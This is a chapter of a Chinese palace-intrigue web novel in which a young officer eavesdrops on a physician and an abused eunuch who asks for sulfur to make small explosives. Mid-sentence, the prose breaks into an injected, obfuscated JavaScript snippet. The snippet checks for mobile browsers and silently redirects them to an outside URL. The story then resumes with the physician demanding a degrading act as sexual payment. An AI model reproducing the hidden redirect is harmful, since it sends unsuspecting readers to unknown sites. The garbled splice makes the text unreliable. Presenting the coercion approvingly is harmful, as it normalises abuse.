15. 照面(二)

作品:《囚宦

    近来,裴小参军常常出入皇宫。


    每天约摸是日中前来,日落离去,也不乱跑,就是跟随领路的太监随处走走看看,他虽年轻,却极是守规矩。


    所以当这一天,裴玄忌又出现在宫门旁时,那个奉令领他游赏皇宫的小太监见怪不怪,陪着笑迎上前道,“裴大人,今个儿想去哪里看?”


    裴玄忌沉吟道,“去趟太医署。”


    “啊?”


    小太监有些意外似的,“裴大人可是身子有哪里不适?要不要奴才去向陛下禀告一声?”


    “不必。”


    裴玄忌说罢,便自顾迈出两步,一回头却见那小太监仍守在原处,略一皱眉问,“怎么?我不能去太医署?”


    “能去!能去!”


    太医署并非禁地。


    江寒祁也未曾下令裴玄忌不准前去,所以小太监想了想,还是恭敬地引了路,“裴大人,这边请。”


    太医署里惯常是有医官值班的。


    小太监进去通报一声后,便领着裴玄忌踏入署门。


    几个正值班的年轻小医官见来了个外臣,虽不认得,但听到是圣上应允前来参观的,便也停下手中活计,冲他施礼。


    裴玄忌也一一回礼。


    目光从众人中间扫过,却没有见着姚越。


    裴玄忌便继续往里走。


    几位官阶高的老太医还未过来,里边的药房除了几个看守打扫的宫仆外,倒也没什么稀奇可看的。


    只不过…


    裴玄忌留意到署院拐角那里,有一处被遮掩在藤蔓之下的隐秘后门,而此时此刻,那门竟是虚虚掩着的。


    跟随的小太监依旧在旁说道,“裴大人,若你有哪里不适,大可寻个医官来把脉看诊一番,宫里名贵的药材那可是多着呢…陛下想必…哎…裴大人?!”


    那小太监方才听到院子里传来一声重物砸地的响动,便下意识地抻脖去望,结果一恍神的功夫,刚刚还跟在身边的裴玄忌,人居然没了?!


    小太监这回傻了眼。


    再看那署院大门,好端端地正关着,忙冲去问那几个当值的医官和洒扫的宫仆有没有瞧见裴玄忌。


    所有人都在摇头。


    这…这明明是眼皮子跟前的人…怎会突然不见?难不成…难不成是飞走了?


    而裴玄忌正隐躲在藤蔓遮蔽的门后,眼睁睁地瞧那小太监火急火燎地冲出前门去寻他,才勾起唇角,将手中刚刚摸到的石块悄悄放下,身影一拐,从后门溜了出去。


    他这几日闲逛间,已经摸清了宫里的几条主道,东边是通往金殿明堂及君主寝宫的,西边则连接两位后宫娘娘以及太后的寝宫,太和殿在东北方位,摘月楼在西北方位,御花园在西南方位,而东南方向,有一条长仄小道,小太监从不肯带他过去。


    昨日他们无意间逛到那处,小太监变了脸色,拉他从另一头走了。


    裴玄忌当即就起了疑心,他很想瞧一瞧那条东南方向的小道所通之地究竟是何处。


    据他这几日观察,宫中护卫约摸两个时辰换班交接一次,其余时间即便巡查,也多是沿着主干宫道走,而那条小路则罕有人至,这更加重了他的好奇。


    索性他有令牌在身,不如就去看一看,若是被人撞见,就说自己走错迷了路就是。


    至于这招甩开人的“声东击西”之法,则更是他裴三的拿手好戏。


    他小时顽皮,习军姿时,常爱偷懒,于是会悄摸地在手心里藏个响炮,趁众人不注意,朝着一个方向砸出去,待大家都被这响声吸引张望后,他就立时闪身跑走,躲离兄姐的视线,逃出校场,溜号偷懒。


    这一招屡试不爽。


    后来他二姐裴定茹不顾大哥裴元绍的庇护,执意在习军姿前,命人对他搜身,结果当真在他身上搜出一二三四五…足足十多个响炮!


    裴定茹一张俏丽的脸庞瞬间扭至铁青,她抓住那些个响炮在裴玄忌眼前晃,咬着牙,一字一顿地,“这就是你说的,没!有!藏?”


    裴元绍看这形势不对,大义凛然地拦住裴定茹,还边扭头喊道,“阿忌,快跑,快跑啊!”


    “别忘了去城里时,给大哥带两壶里禾记的竹叶青回来!”


    “知道了!”


    裴玄忌脚下生烟,跑得更快。


    “裴!三!你给我站住!”


    裴玄忌跑出好远还能听到二姐的怒吼声,大哥的求饶声以及军中弟兄们的劝架声,交缠在一起,和着清风徐徐灌耳,便在嘴角边扬起了一个好看的弧度。


    想起那段小时在陇西军中同兄姐一起的岁月,裴玄忌目光陡黯,脚步也不由慢了下来。


    他心事重重。


    以至于路过和欢斋时,都险些错了过去。


    但他还是停住了脚步。


    因为,他竟然在这座毫不起眼的斋院中听到了姚越的声音!


    和欢斋的外门十分破败,但如此破旧斑驳的小木头门上,竟还落了把明晃晃的锁。


    那姚越是如何进去的?


    裴玄忌起了疑心,环顾一圈后很快便发现了那处偏矮的院墙,连姚越那种小医官都能翻墙进去,裴玄忌自然更不在话下,他当下便抓住墙边伸出的树桠,一个腾身就轻松攀上,跳落院中。


    这个时候姚越说话的声音便愈加清楚了。


    是从院当中那间大门紧闭的唯一殿房中传出来的。


    裴玄忌大跨步走近,刚要踢开房门,质问这姚越又在背着裴氏做什么好事,却冷不丁地听到了另一个声音。


    和缓悦耳,若暖风拂面,带来些轻微酥意。


    裴玄忌的动作生生止住。


    他悄然推开一扇窗,隔着窗缝朝里望去,只一眼,就看见了那个正窝在床榻的清瘦身影。


    那人的脸侧逆着光,看不清神情。


    但仅凭这么半个背影,裴玄忌就将人给认了出来。


    是…是他。


    *


    云知年被调去御前之后,原本是不用再被关进这处偏斋的,但两天前,他不知是为何故,又惹怒了江寒祁,一身是伤的被人给抬了回来。


    得了风声的姚越自是第一时间同人换了班,跑来和欢斋照拂。


    君心难测,江寒祁也没说还要不要云知年回去继续伺候,何时让他回去,加之云知年这次伤得有些重,姚越替他把脉时,瞧见那右腕腕骨上竟横了一圈细细麻麻的淤痕血印。


    是江寒祁刻意勒出来的。


    “他做的?”


    姚越抓起云知年腕上那条缀玉蛊虫手串,连声叹气。


    云知年点点头,他有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977837|161430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些难耐似的,将手腕往回缩了些,因为姚越的指节一直在抚动他的手腕。


    昨日也是,在给身体上药的时候,姚越非说要亲手替他上,可是膏药抹完后,姚越的手却不曾离开,而是顺着他微微发颤的光-裸脊骨,一直滑至他腰间的疮口。


    一遍又一遍。


    云知年直觉不大对劲,身体里又开始泛起那股怪异难忍的感觉,他费力地眨着洇了水汽的眼,用尽力气推开姚越。


    云知年喘着声儿对他道,姚太医,我没有事了,你不用再过来了。


    姚越当时什么话都没说,收拾起药箱就走了。


    后来,云知年实在撑不住倦意,就睡了过去,翌日醒来时,却瞧见姚越竟又折返回来,还用食盒装了点心饭菜送来。


    云知年脸上的烧意仍未大退,迟疑着,向来嗜食的他,却迟迟不肯动筷子。


    姚越倒是表现如常,绝口未提昨晚轻薄他的事情,而是同他隔开一段距离,坐在一旁的椅上,向着云知年说道,“公公,你前几日呢向我讨要的东西我是可以给你的,区区几个炸包,我去药房弄点儿硫磺粉就能制出来,但我想问清楚,你要这个究竟有何用处?”


    云知年这时终于转过脸看向姚越。


    而躲在窗外的裴玄忌也终是看见了这人苍冷如玉,清丽无俦的脸。


    只不过,那双好看的眼里此刻却竟全是哀求。


    他挣扎着,喉头攒动,隔了好一会儿,才缓缓开口,“我想要争宠。”


    争宠?!


    屋里的姚越同屋外的裴玄忌几乎同时一愣。


    裴玄忌想,这小太监要争的,应当就是江寒祁的宠,忽觉胸口微窒,说不上是什么微妙难耐的滋味。


    “是,陛下近来宠幸宁妃娘娘…他怕我跟在近前,会惹娘娘不悦…所以…才又将我关来这里…再过五日,年夜…摘月楼…天灯…我打算在宁妃宫里的天灯上做些手脚…让陛下眼里,只有我一人。”


    “硫磺粉实在特殊,采买时皆要登记在册,但此事我不想让人知晓…我信得过姚太医,所以才…”


    云知年所言,并无任何破绽。


    一个以色侍人的宦官,害怕自己失宠后被抛弃,被永远锁在这处暗无天日的偏斋,倒也情有可原。


    但姚越仍觉得不痛快。


    十分不痛快。


    而这种不痛快化在心里,就成了强烈的妒恨,让他迫不及待地,想从云知年身上得到些什么。


    “我可以给公公想要的东西,且太医署的药房现在由我来打理,我去配硫磺粉,绝不会有第二个人知晓。”


    “但公公,你拿什么来跟我换?”


    “我…”


    云知年有些语塞,“我会给姚太医银子。”


    “我不需要钱。”


    姚越很干脆地拒绝了云知年,顿了顿,像是经过了一番深思熟虑,才终于将那堪称隐秘的一点儿欲好宣之于口。


    “这样罢,我这人呢,最大的爱好就是学医,常爱观人的身体,男人女人,我都看过不少,但对于太监的身体,我却知之甚少。”


    姚越端来一碗水。


    “公公现在多饮些水,然后,当着我的面,小解给我看。”


    “我看明白了,看过瘾了,自然会给公公你想要的东西。”